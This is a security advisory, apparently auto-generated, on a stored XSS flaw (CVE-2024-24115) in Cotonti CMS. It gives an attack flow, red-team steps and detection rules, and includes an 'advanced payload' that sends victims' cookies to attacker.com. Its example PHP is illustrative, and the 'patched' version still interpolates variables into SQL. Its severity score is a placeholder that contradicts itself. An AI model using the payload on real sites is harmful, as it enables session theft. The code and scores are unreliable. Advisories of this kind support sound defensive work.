CVE-2024-24115

Executive Summary

CVE-2024-24115 is a stored cross-site scripting (XSS) vulnerability in Cotonti CMS v0.9.24. An authenticated attacker can inject arbitrary web scripts or HTML via the Edit Page function, leading to persistent client-side attacks against other users. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the need for authentication and user interaction. No official patch is available at this time.

Supply Chain & Package Security

Cotonti CMS is a PHP-based content management system. The vulnerability resides in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user
• User Interaction (UI): Required (R) – victim must view the page
• Scope (S): Changed (C) – impact extends beyond vulnerable component
• Confidentiality (C): Low (L) – potential data theft via script
• Integrity (I): Low (L) – script injection
• Availability (A): None (N)

Threat Level: Medium (5.4) – authenticated XSS with user interaction.

Deep Dive & Mechanics

The vulnerability exists in the Edit Page function of Cotonti CMS. When a user with edit privileges modifies a page, the application fails to properly sanitize user input before storing it in the database. The stored content is later rendered without adequate encoding, allowing arbitrary JavaScript or HTML to execute in the context of other users' browsers.

Root Cause: Lack of output encoding or input validation on the page content field during edit operations.

Attack Flow:

1. Attacker logs in with valid credentials.
2. Attacker navigates to Edit Page and injects a malicious payload (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When another user views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Cotonti CMS 0.9.24):

// In edit page handler
$content = $_POST['page_content'];
// Directly stored without sanitization
$db->query("UPDATE pages SET content = '$content' WHERE id = $page_id");

Patched Code (Hypothetical):

// Proper sanitization
$content = htmlspecialchars($_POST['page_content'], ENT_QUOTES, 'UTF-8');
$db->query("UPDATE pages SET content = '$content' WHERE id = $page_id");

Exploitation & Lab Setup

Red Team

Prerequisites:

• Cotonti CMS v0.9.24 installed
• Valid user account with edit permissions

Exploit Steps:

1. Log in to Cotonti CMS.
2. Navigate to a page you can edit.
3. Inject the following payload into the page content:

   <script>alert('XSS')</script>
   

4. Save the page.
5. When another user views the page, the script executes.

Advanced Payload:

<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual page content containing <script> tags or event handlers.
• Review server logs for POST requests to edit endpoints with suspicious payloads.

Mitigation:

• Implement Content Security Policy (CSP) headers.
• Use input validation and output encoding.
• Apply principle of least privilege for edit permissions.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /edit.php or similar endpoints containing <script> or <img onerror= patterns.
• Host: Database entries in the pages table with unescaped HTML/JavaScript.
• Logs: Server access logs showing repeated edit actions from a single user.

Detection Engineering

YARA Rule

rule CVE_2024_24115_XSS {
    meta:
        description = "Detects stored XSS payloads in Cotonti CMS pages"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24115"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<[^>]*onload\s*=[^>]*>/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Cotonti CMS Edit Page
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-24115 via stored XSS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/edit.php'
        body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24115 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/edit.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable edit functionality for untrusted users.
2. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests.
3. Manually sanitize all page content using htmlspecialchars() in PHP.

Long-term Fix:

• Upgrade to a patched version when available.
• Apply input validation and output encoding throughout the application.
• Conduct a security audit of all user-facing input fields.

Workaround:

• Use a reverse proxy to filter malicious payloads.

Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.